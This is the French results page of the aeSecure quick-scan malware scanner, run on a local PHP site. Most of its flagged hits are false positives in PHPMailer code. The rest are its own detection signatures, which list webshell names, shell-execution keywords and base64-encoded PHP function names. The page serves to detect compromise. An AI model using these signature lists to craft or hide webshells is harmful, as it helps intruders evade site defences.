(https://www.aesecure.com) Ce script, proposé à titre gracieux par aeSecure (https://www.aesecure.com), logiciel de protection et d'optimisation de sites web Apache, va scanner l'ensemble de votre site à la recherche de quelques 'signatures' (patterns) de virus *(pour des raisons de performance, les fichiers de plus de 1M seront ignorés).*
L'action du script est de faire un scan : aucune suppression de fichier ne sera faite; il n'y a donc aucun risque de l'exécuter sur votre site.

Quelques considérations à bien comprendre :

1. Le scan est superficiel et en aucun cas exhaustif; seules quelques signatures sont recherchées alors que les possibilités de hack sont fort nombreuses,
2. si le script détecte la présence de certaines signatures (p.ex. "base64_decode"), cela n'implique pas que votre site ait été hacké. En effet, certaines instructions sont utilisées lors de hack (base64_decode) mais sont également utilisées de manière parfaitement légitime dans des codes sources php,
3. Les résultats retournés doivent **TOUJOURS** être correctement compris avant de prendre une quelconque action, demandez de l'aide sur un forum p.ex. si vous doutez.
4. Soyez patient : le scan se fait fichier par fichier et peut donc être plus ou moins long; dépendant de la complexité de votre site.

L'auteur du script décline toute responsabilité en cas de mauvais usage du script ou d'actions prises par le webmaster suite aux résultats mentionnés.

1. Nettoyé | 2. 9.132 fichiers | 3. Scanne 9.132 fichier(s) | 4. Supprimer ce script du serveur

9.132 fichiers vont être analysés **dont 415 déjà identifiés comme virus** (14.741 fichiers ont été ignorés car ils sont repris sur la liste blanche d'aeSecure et 10.911 ignorés comme paramétré dans l'écran des options avancées).

1 -> 500	501 -> 1.000	1.001 -> 1.500	1.501 -> 2.000
2.001 -> 2.500	2.501 -> 3.000	3.001 -> 3.500	3.501 -> 4.000
4.001 -> 4.500	4.501 -> 5.000	5.001 -> 5.500	5.501 -> 6.000
6.001 -> 6.500	6.501 -> 7.000	7.001 -> 7.500	7.501 -> 8.000
8.001 -> 8.500	8.501 -> 9.000	9.001 -> 9.132	

500 fichiers ont été analysés dont 16 sont détectés comme potentiellement dangereux.
1 fichiers ont été ignorés car ayant une taille supérieure ou égale à 1 MB et 0 fichier(s) inaccessible(s) à cause d'un niveau de permission (chmod) trop restreint.

Si les resultats de ce script ont demontre la presence de virus, veuillez bien comprendre que le script a cherche des fichiers connus comme malsain (blacklist) et qu'il a recherché qu'un tout petit nombre de possibilités de hacking. Seules quelques signatures; simples; ont été recherchées. Il faut donc vous attendre à ce que vous ayez d'autres virus sur votre site web et il faudrait considérer un scan complet du site pour les éliminer. N'hésitez pas à me contacter : https://www.aesecure.com (https://www.aesecure.com), je peux nettoyer votre site web.

---

1. /Applications/MAMP/htdocs/pep83/info.php *(19.00B)* *(Date dernière modif. August 28 2021 09:04:44.)*

   Danger **Ce fichier est repris dans la liste noire; il contient** 53628903e3c9cf1593d4ef97067fba40 **du code malsain. Conseil : supprimez-le.**

   ```
   <?php
   phpinfo();
   ?>
   ```

2. /Applications/MAMP/htdocs/pep83/php_mail/phpmailer/class.smtp.php *(25.01K)*

   (Date dernière modif. August 28 2021 09:06:37.)

   Attention Il ne s'agit pas forcément d'un virus, le mot clef c8e9d697c14e6e4000f7e23e4a3712bd utilisé est néanmoins suspect.
   Signature : **Hell**
   Trouvé en position **7343** du fichier; voici le contexte :

   ```
   return true;
     }

     /**
      * Performs SMTP authentication.  Must be run after running the
      * Hello() method.  Returns true if successfully authenticated.
      * @access public
      * @return bool
   ```

   Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
   Signature : **Hell**

   Trouvé en position **15425** du fichier; voici le contexte :

   ```
   P CODE ERROR  : 500, 501, 504, 421
      * @access public
      * @return bool
      */
     public function Hello($host = '') {
       $this->error = null; // so no confusion is caused

       if(!$this->connected()
   ```

   Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
   Signature : **Hell**
   Trouvé en position **15594** du fichier; voici le contexte :

   ```
   caused

       if(!$this->connected()) {
         $this->error = array(
   ```

```
            "error" => "Called Hello() without being connected");
      return false;
    }

    // if hostname for HELO was not sp
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **hell**
Trouvé en position **15860** du fichier; voici le contexte :

```
ine appropriate default to send to server
      $host = "localhost";
    }

    // Send extended hello first (RFC 2821)
    if(!$this->SendHello("EHLO", $host)) {
      if(!$this->SendHello("HELO", $
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **dHell**
Trouvé en position **15903** du fichier; voici le contexte :

```
$host = "localhost";
    }

    // Send extended hello first (RFC 2821)
    if(!$this->SendHello("EHLO", $host)) {
      if(!$this->SendHello("HELO", $host)) {
        return false;
      }
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **dHell**
Trouvé en position **15949** du fichier; voici le contexte :

```
nd extended hello first (RFC 2821)
    if(!$this->SendHello("EHLO", $host)) {
      if(!$this->SendHello("HELO", $host)) {
        return false;
      }
    }

    return true;
  }

  /**
   * S
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **dHell**
Trouvé en position **16151** du fichier; voici le contexte :

```
* Sends a HELO/EHLO command.
```

```
   * @access private
   * @return bool
   */
  private function SendHello($hello, $host) {
    fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);

    $rply =
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **16158** du fichier; voici le contexte :

```
a HELO/EHLO command.
   * @access private
   * @return bool
   */
  private function SendHello($hello, $host) {
    fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);

    $rply = $this->
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **16204** du fichier; voici le contexte :

```
* @return bool
   */
  private function SendHello($hello, $host) {
    fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply,0,3);
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **16493** du fichier; voici le contexte :

```
->CRLF . '<br />';
    }

    if($code != 250) {
      $this->error =
        array("error" => $hello . " not accepted from server",
              "smtp_code" => $code,
              "smtp_msg" => s
```

3. /Applications/MAMP/htdocs/pep83/php_mail/phpmailer/class.phpmailer.php *(74.91K)*

   (Date dernière modif. August 28 2021 09:06:37.)

Attention Il ne s'agit pas forcément d'un virus, le mot clef bfdf771b20341aaeb98f3e3002fd5287 utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18711** du fichier; voici le contexte :

Trouvé en position **18744** du fichier; voici le contexte :

```
eader, $body) {
    if ($this->Sender != '') {
      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), es
    } else {
      $sendmail = sprintf("%s -
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18744** du fichier; voici le contexte :

```
ender != '') {
      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), es
    } else {
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sen
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18830** du fichier; voici le contexte :

```
dmail), escapeshellarg($this->Sender));
    } else {
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
    }
    if ($this->SingleTo === true) {
      foreach ($this->SingleToAr
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **26062** du fichier; voici le contexte :

```
if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout)) {

          $hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
          $this->smtp->Hello($hell
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **>Hell**

Trouvé en position **26155** du fichier; voici le contexte :

```
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
          $this->smtp->Hello($hello);

          if ($tls) {
            if (!$this->smtp->StartTLS()) {
              thro
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **26162** du fichier; voici le contexte :

```
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
          $this->smtp->Hello($hello);

          if ($tls) {
            if (!$this->smtp->StartTLS()) {
              throw new p
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **>Hell**
Trouvé en position **26405** du fichier; voici le contexte :

```
}

            //We must resend HELO after tls negotiation
            $this->smtp->Hello($hello);
          }

          $connection = true;
          if ($this->SMTPAuth) {
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **26412** du fichier; voici le contexte :

```
}

            //We must resend HELO after tls negotiation
            $this->smtp->Hello($hello);
          }

          $connection = true;
          if ($this->SMTPAuth) {
            if
```

4. /Applications/MAMP/htdocs/pep83/php_mail/phpmailer/class.phpmailer_.php *(75.05K)*

(Date dernière modif. August 28 2021 09:06:37.)

Attention Il ne s'agit pas forcément d'un virus, le mot clef 65ab9de82a7f912e55fc3ac8cb008aff utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18711** du fichier; voici le contexte :

```
eader, $body) {
    if ($this->Sender != '') {
      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), es
    } else {
      $sendmail = sprintf("%s -
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18744** du fichier; voici le contexte :

```
ender != '') {
      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), es
    } else {
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sen
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18830** du fichier; voici le contexte :

```
dmail), escapeshellarg($this->Sender));
    } else {
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
    }
    if ($this->SingleTo === true) {
      foreach ($this->SingleToAr
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **26062** du fichier; voici le contexte :

```
if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout)) {

          $hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
          $this->smtp->Hello($hell
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **>Hell**
Trouvé en position **26155** du fichier; voici le contexte :

```
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
          $this->smtp->Hello($hello);

          if ($tls) {
            if (!$this->smtp->StartTLS()) {
              thro
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **26162** du fichier; voici le contexte :

```
$hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());
          $this->smtp->Hello($hello);

          if ($tls) {
            if (!$this->smtp->StartTLS()) {
              throw new p
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **>Hell**
Trouvé en position **26405** du fichier; voici le contexte :

```
}

            //We must resend HELO after tls negotiation
            $this->smtp->Hello($hello);
          }

          $connection = true;
          if ($this->SMTPAuth) {
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **$hell**
Trouvé en position **26412** du fichier; voici le contexte :

```
}
```

```
            //We must resend HELO after tls negotiation
            $this->smtp->Hello($hello);
          }

          $connection = true;
          if ($this->SMTPAuth) {
            if
```

5. /Applications/MAMP/htdocs/pep83/aesecure_quick_scan.php *(96.45K)*

(Date dernière modif. August 28 2021 09:04:44.)

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été 1418551bca8b049e08564f02477e8df1 virusé ou étant un virus
Signature : **c99shell**
Trouvé en position **25579** du fichier; voici le contexte :

```
ate *\( *base64_decode)','disclaimer'=>HIGHPROBALITY),
          array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|edoced_46esab)
          array('risk'=>'danger','pattern'
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **c999sh_surl**
Trouvé en position **25588** du fichier; voici le contexte :

```
base64_decode)','disclaimer'=>HIGHPROBALITY),
          array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|edoced_46esab)
          array('risk'=>'danger','pattern'=>'(GIF89a.*
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **edoced_46esab**
Trouvé en position **25600** du fichier; voici le contexte :

```
e)','disclaimer'=>HIGHPROBALITY),
          array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|edoced_46esab)
          array('risk'=>'danger','pattern'=>'(GIF89a.*[\r\n]*.*<\?ph
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **c99shell**
Trouvé en position **25579** du fichier; voici le contexte :

```
ate *\( *base64_decode)','disclaimer'=>HIGHPROBALITY),
          array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|edoced_46esab)
          array('risk'=>'danger','pattern'
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **edoced_46esab**
Trouvé en position **25600** du fichier; voici le contexte :

```
e)','disclaimer'=>HIGHPROBALITY),
          array('risk'=>'danger','pattern'=>'(c99shell|c999sh_surl|edoced_46esab)
          array('risk'=>'danger','pattern'=>'(GIF89a.*[\r\n]*.*<\?ph
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **bckdrprm**
Trouvé en position **26574** du fichier; voici le contexte :

Trouvé en position **26574** du fichier; voici le contexte :

```
'=>WARNINGNOTMANDATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **bitchx**
Trouvé en position **26583** du fichier; voici le contexte :

```
GNOTMANDATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **crystalshell**
Trouvé en position **26590** du fichier; voici le contexte :

```
DATORYAVIRUS),
        array('risk'=>'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bi
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **eggdrop**
Trouvé en position **26628** du fichier; voici le contexte :

```
'warning','pattern'=>'(AnonGhost|bash_history|bckdrprm|bitchx|crystalshell|cwing
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **FilesTools**
Trouvé en position **26655** du fichier; voici le contexte :

```
Ghost|bash_history|bckdrprm|bitchx|crystalshell|cwings|dalnet|directmail|eggdrop
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **guardservices**
Trouvé en position **26666** du fichier; voici le contexte :

```
history|bckdrprm|bitchx|crystalshell|cwings|dalnet|directmail|eggdrop|ekibastos|
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **Hackeado**

Trouvé en position **26680** du fichier; voici le contexte :

```
rm|bitchx|crystalshell|cwings|dalnet|directmail|eggdrop|ekibastos|FilesMan|Files
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **Mass Mailer**
Trouvé en position **26727** du fichier; voici le contexte :

```
|eggdrop|ekibastos|FilesMan|FilesTools|guardservices|Hackeado|HaCkEr|hackmeplz|H
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **JCE Fucker**
Trouvé en position **26739** du fichier; voici le contexte :

```
bastos|FilesMan|FilesTools|guardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **m0rtix**
Trouvé en position **26750** du fichier; voici le contexte :

Trouvé en position **26756** du fichier; voici le contexte :

```
sMan|FilesTools|guardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mas
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **multiviews**
Trouvé en position **26757** du fichier; voici le contexte :

```
lesTools|guardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mass Maile
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **phpremoteview**
Trouvé en position **26768** du fichier; voici le contexte :

```
ardservices|Hackeado|HaCkEr|hackmeplz|HackTeam|Hmei7|Inbox Mass Mailer|JCE Fucke
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **r57shell**
Trouvé en position **26813** du fichier; voici le contexte :

```
m|Hmei7|Inbox Mass Mailer|JCE Fucker|m0rtix|multiviews|phpremoteview|phpshell|ph
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **shellbot**
Trouvé en position **26842** du fichier; voici le contexte :

```
Fucker|m0rtix|multiviews|phpremoteview|phpshell|phpshell|psybnc|r0nin|r57shell|r
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **upl0ad**
Trouvé en position **26877** du fichier; voici le contexte :

```
view|phpshell|phpshell|psybnc|r0nin|r57shell|raslan58|shell_exec|shellbot|spymet
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **viagra**
Trouvé en position **26891** du fichier; voici le contexte :

```
phpshell|psybnc|r0nin|r57shell|raslan58|shell_exec|shellbot|spymeta|uname -a|unc
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **Webshell**
Trouvé en position **26926** du fichier; voici le contexte :

```
an58|shell_exec|shellbot|spymeta|uname -a|undernet|upl0ad|vandal|viagra|void\.ru
      );

      return
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **WSOsetcookie**
Trouvé en position **26945** du fichier; voici le contexte :

```
llbot|spymeta|uname -a|undernet|upl0ad|vandal|viagra|void\.ru|vulnscan|Web Shell
      );

      return true;

   } // f
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus
Signature : **trojan**
Trouvé en position **34081** du fichier; voici le contexte :

```
et a lancer depuis une URL afin de scanner son site a la recherche de virus tels
      define('BTNGETLIST','Obtention de la liste des fichiers');
      defin
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **JF9TRVJWRVI=**
Trouvé en position **25893** du fichier; voici le contexte :

```
ily666\\.com)','disclaimer'=>HIGHPROBALITY),
        array('risk'=>'danger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRU
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **UkVRVUVTVF9VUkk=**
Trouvé en position **25906** du fichier; voici le contexte :

```
','disclaimer'=>HIGHPROBALITY),
        array('risk'=>'danger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRU
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **SFRUUF9SRUZFUkVS**
Trouvé en position **25923** du fichier; voici le contexte :

```
IGHPROBALITY),
        array('risk'=>'danger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRU
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **SFRUUF9VU0VSX0FHRU5U**
Trouvé en position **25940** du fichier; voici le contexte :

```
array('risk'=>'danger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRUUF9SRUZFUk
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **SFRUUF9IT1NU**
Trouvé en position **25961** du fichier; voici le contexte :

```
y('risk'=>'danger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRUUF9SRUZFUkVS|S
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **SFRUUF9VU0VSX0FHRU5U**
Trouvé en position **25974** du fichier; voici le contexte :

```
nger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRUUF9SRUZFUkVS|SFRUUF9VU0VSX0
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.

comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **UkVNT1RFX0FERFI=**
Trouvé en position **25995** du fichier; voici le contexte :

```
9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRUUF9SRUZFUkVS|SFRUUF9VU0VSX0FHRU5U|SFRUUF9IT1NU|S
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **U0NSSVBUX0ZJTEVOQU1F**
Trouvé en position **26012** du fichier; voici le contexte :

```
VTVF9VUkk=|SFRUUF9SRUZFUkVS|SFRUUF9VU0VSX0FHRU5U|SFRUUF9IT1NU|SFRUUF9VU0VSX0FHRU
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **UEhQX1NFTEY=**
Trouvé en position **26033** du fichier; voici le contexte :

```
ZFUkVS|SFRUUF9VU0VSX0FHRU5U|SFRUUF9IT1NU|SFRUUF9VU0VSX0FHRU5U|UkVNT1RFX0FERFI=|U
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **ZndyaXRl**
Trouvé en position **26046** du fichier; voici le contexte :

```
9VU0VSX0FHRU5U|SFRUUF9IT1NU|SFRUUF9VU0VSX0FHRU5U|UkVNT1RFX0FERFI=|U0NSSVBUX0ZJTE
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **c3RyX3JlcGxhY2U**
Trouvé en position **26055** du fichier; voici le contexte :

```
HRU5U|SFRUUF9IT1NU|SFRUUF9VU0VSX0FHRU5U|UkVNT1RFX0FERFI=|U0NSSVBUX0ZJTEVOQU1F|UE
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **c3Vic3Ry**
Trouvé en position **26071** du fichier; voici le contexte :

```
NU|SFRUUF9VU0VSX0FHRU5U|UkVNT1RFX0FERFI=|U0NSSVBUX0ZJTEVOQU1F|UEhQX1NFTEY=|Zndya
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **ZXhwbG9kZQ**
Trouvé en position **26080** du fichier; voici le contexte :

```
9VU0VSX0FHRU5U|UkVNT1RFX0FERFI=|U0NSSVBUX0ZJTEVOQU1F|UEhQX1NFTEY=|ZndyaXRl|c3RyX
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **Zm9wZW4=**
Trouvé en position **26091** du fichier; voici le contexte :

```
U5U|UkVNT1RFX0FERFI=|U0NSSVBUX0ZJTEVOQU1F|UEhQX1NFTEY=|ZndyaXRl|c3RyX3JlcGxhY2U|
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.

comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **ZnJlYWQ=**
Trouvé en position **26100** du fichier; voici le contexte :

```
1RFX0FERFI=|U0NSSVBUX0ZJTEVOQU1F|UEhQX1NFTEY=|ZndyaXRl|c3RyX3JlcGxhY2U|c3Vic3Ry|
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **Y3Rpb25fZXhpc3R**
Trouvé en position **26109** du fichier; voici le contexte :

```
I=|U0NSSVBUX0ZJTEVOQU1F|UEhQX1NFTEY=|ZndyaXRl|c3RyX3JlcGxhY2U|c3Vic3Ry|ZXhwbG9kZ
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **YmFzZTY0X2RlY29kZQ==**
Trouvé en position **26125** du fichier; voici le contexte :

```
EVOQU1F|UEhQX1NFTEY=|ZndyaXRl|c3RyX3JlcGxhY2U|c3Vic3Ry|ZXhwbG9kZQ|Zm9wZW4=|ZnJlY
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **ZmlsZV9nZXRfY29udGVudHMg**
Trouvé en position **26146** du fichier; voici le contexte :

```
ZndyaXRl|c3RyX3JlcGxhY2U|c3Vic3Ry|ZXhwbG9kZQ|Zm9wZW4=|ZnJlYWQ=|Y3Rpb25fZXhpc3R|Y
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **cHJlZ19yZXBsYWNl**
Trouvé en position **26171** du fichier; voici le contexte :

```
c3Vic3Ry|ZXhwbG9kZQ|Zm9wZW4=|ZnJlYWQ=|Y3Rpb25fZXhpc3R|YmFzZTY0X2RlY29kZQ==|ZmlsZ
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **aHR0cDovL3Rpbnl1cmwuY29t**
Trouvé en position **26188** du fichier; voici le contexte :

```
ZQ|Zm9wZW4=|ZnJlYWQ=|Y3Rpb25fZXhpc3R|YmFzZTY0X2RlY29kZQ==|ZmlsZV9nZXRfY29udGVudH
        array('risk'
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **c2hlbGxfZXhlYw==**
Trouvé en position **26213** du fichier; voici le contexte :

```
b25fZXhpc3R|YmFzZTY0X2RlY29kZQ==|ZmlsZV9nZXRfY29udGVudHMg|cHJlZ19yZXBsYWNl|aHR0c
        array('risk'=>'danger','patte
```

Danger Ce mot est un mot ayant été encodé en base64 et correspondant à une mot réservé de php comme p.ex. $_SERVER ou $_COOKIES. Il y a de fortes chances qu'il s'agisse d'un code malsain.
Signature : **bXVsdGlwYXJ0L2Zvcm0tZGF0YQ==**
Trouvé en position **26230** du fichier; voici le contexte :

```
TY0X2RlY29kZQ==|ZmlsZV9nZXRfY29udGVudHMg|cHJlZ19yZXBsYWNl|aHR0cDovL3Rpbnl1cmwuY2
        array('risk'=>'danger','pattern'=>'(base64_decode|gzdecode
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **SFRUUF9VU0VSX0FHRU5U**
Trouvé en position **25940** du fichier; voici le contexte :

```
array('risk'=>'danger','pattern'=>'(JF9TRVJWRVI=|UkVRVUVTVF9VUkk=|SFRUUF9SRUZFUk
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **SFRUUF9VU0VSX0FHRU5U**
Trouvé en position **25974** du fichier; voici le contexte :

```
